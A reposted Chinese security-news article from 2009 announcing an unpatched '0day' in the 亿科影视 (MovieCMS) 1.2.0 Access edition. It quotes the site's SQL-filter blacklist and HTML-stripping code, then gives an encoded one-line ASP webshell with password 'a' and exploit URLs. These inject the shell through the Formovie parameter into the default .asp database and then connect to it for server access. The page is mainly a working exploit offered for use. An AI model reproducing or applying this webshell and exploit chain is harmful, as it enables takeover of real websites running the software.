pc软件 文章资讯 手机软件

您当前的位置→图文中心新闻资讯安全播报亿科影视系统0day
阅读排行

亿科影视系统0day


2009/5/31  编辑:佚名 来源:本站整理

作者:冰sugar

官网:

http://www.moviecms.cn/

影响版本:

软件版本信息: 1.2.0 access (其他还未试过)

未出补丁

程序介绍:

采用S/B三层结构编写逻辑更清晰维护更简单,页面显示更快,执行效率更高

栏目自由分类

地区添加修改

独特的专题栏目

可生成HTML与动态切换

方便快速的一键生成 生成进度的显示

逻辑清晰管理更方便

系统集成主流播放器 Qvod 17bobo 迅雷 youku 土豆 56 新浪视频 qq视频 sohu视频 6间房 Flv 流媒体等播放器

后台自由的播放器设置

强大的播前广告

幻灯随意修改添加

方便的友情连接管理

风格模板标签编辑 强大的模板功能 简单的模板标签

漏洞分析:

在文件inc/formovie.asp中:

view plaincopy to clipboardprint?

dim fortime  

fortime=now()  

conn.execute("INSERT INTO "&web_dbtop&"formovie (forcontent,fortime) VALUES ('"&DelHtml(NoSqlHack(Trim(Request.QueryString("Formovie"))))&"','"&fortime&"')")  

//第六行Formovie变量经过了NoSqlHack和DelHtml进行过滤.  

dim fortime

fortime=now()

conn.execute("INSERT INTO "&web_dbtop&"formovie (forcontent,fortime) VALUES ('"&DelHtml(NoSqlHack(Trim(Request.QueryString("Formovie"))))&"','"&fortime&"')")

//第六行Formovie变量经过了NoSqlHack和DelHtml进行过滤.

//第六行Formovie变量经过了NoSqlHack和DelHtml进行过滤.

看看NoSqlHack函数的代码

view plaincopy to clipboardprint?

Function NoSqlHack(content)  

  Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr  

  If content = "" Or IsNull(content) Then Exit Function 

  Str_InputStr=content  

  f_NoSqlHack_AllStr="dbcc|alter|drop|* |and|exec|or|insert|select|delete|update|count|master|truncate|declare|char|mid(|chr|set |where|xp_cmdshell|tab|union" 

  f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")  

  For f_NoSqlHack_i=LBound(f_NoSqlHack_Str) To Ubound(f_NoSqlHack_Str)  

    If Instr(LCase(Str_InputStr),f_NoSqlHack_Str(f_NoSqlHack_i))<>0 Then 

      If f_NoSqlHack_Str(f_NoSqlHack_i)="'" Then f_NoSqlHack_Str(f_NoSqlHack_i)=" \' " 

      Response.Write "<html><title>警告</title><body    bgcolor=""EEEEEE"" leftmargin=""60"" topmargin=""30""><font style=""font-size:16px;font-weight:bolder;color:blue;""><li>您提交的数据有恶意字符</li></font><font style=""font-size:14px;font-weight:bolder;color:red;""><br/><li>您的数据已经被记录!</li><br/><li>您的IP:"&Request.ServerVariables("Remote_Addr")&"</li><br/><li>操作日期:"&Now&"</li></font><script type='text/javascript'> 

//<![CDATA[ 

if (document.getElementById('processtime')) document.getElementById('processtime').innerHTML="<span class='runtimedisplay'>Run in 192 ms, 7 Queries.</span>"; 

//]]> 

</script></body></html>" 

      Response.End 

    End if  

  Next 

  NoSqlHack = Replace(Replace(Str_InputStr,"'","''"),"%27","''")  

End Function 

 

Function NoSqlHack(content)

  Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr

  If content = "" Or IsNull(content) Then Exit Function

  Str_InputStr=content

  f_NoSqlHack_AllStr="dbcc|alter|drop|* |and|exec|or|insert|select|delete|update|count|master|truncate|declare|char|mid(|chr|set |where|xp_cmdshell|tab|union"

  f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")

  For f_NoSqlHack_i=LBound(f_NoSqlHack_Str) To Ubound(f_NoSqlHack_Str)

    If Instr(LCase(Str_InputStr),f_NoSqlHack_Str(f_NoSqlHack_i))<>0 Then

      If f_NoSqlHack_Str(f_NoSqlHack_i)="'" Then f_NoSqlHack_Str(f_NoSqlHack_i)=" \' "

      Response.Write "<html><title>警告</title><body    bgcolor=""EEEEEE"" leftmargin=""60"" topmargin=""30""><font style=""font-size:16px;font-weight:bolder;color:blue;""><li>您提交的数据有恶意字符</li></font><font style=""font-size:14px;font-weight:bolder;color:red;""><br/><li>您的数据已经被记录!</li><br/><li>您的IP:"&Request.ServerVariables("Remote_Addr")&"</li><br/><li>操作日期:"&Now&"</li></font><script type='text/javascript'>

//<![CDATA[

if (document.getElementById('processtime')) document.getElementById('processtime').innerHTML="<span class='runtimedisplay'>Run in 192 ms, 7 Queries.</span>";

//]]>

</script></body></html>"

      Response.End

    End if

  Next

  NoSqlHack = Replace(Replace(Str_InputStr,"'","''"),"%27","''")

End Function

再看正则表达式的代码,过滤的很多. www.arpun.com

view plaincopy to clipboardprint?

Function DelHtml(Str1)  

  Dim regEx  

  Set regEx = New RegExp  

  regEx.Pattern = "(<[^>]*?>)" //使用正则过滤了  

  regEx.Global = True 

  regEx.IgnoreCase = True 

  DelHtml = replace(regEx.Replace(""&str1,"")," ","")  

End Function 

Function DelHtml(Str1)

  Dim regEx

  Set regEx = New RegExp

  regEx.Pattern = "(<[^>]*?>)" //使用正则过滤了

  regEx.Global = True

  regEx.IgnoreCase = True

  DelHtml = replace(regEx.Replace(""&str1,"")," ","")

End Function

虽然过滤的很多但是我们可以插入一句话,只要将一句话变形一下就行了.

这里我附带一句话密码a:

┼癥污爠煥敵瑳∨≡┩>  

┼癥污爠煥敵瑳∨≡┩>

利用默认数据库为asp,可以拿到shell.

Exp:  

http://target/inc/formovie.asp?Formovie=?/a>;喟Y污爠煥敵瑳∨≡┩>   //插入一句话  

http://target/data/%23db.asp ; //一句话连接.

相关文章

发表评论
网站帮助 - 广告合作 - 下载声明 - 网站地图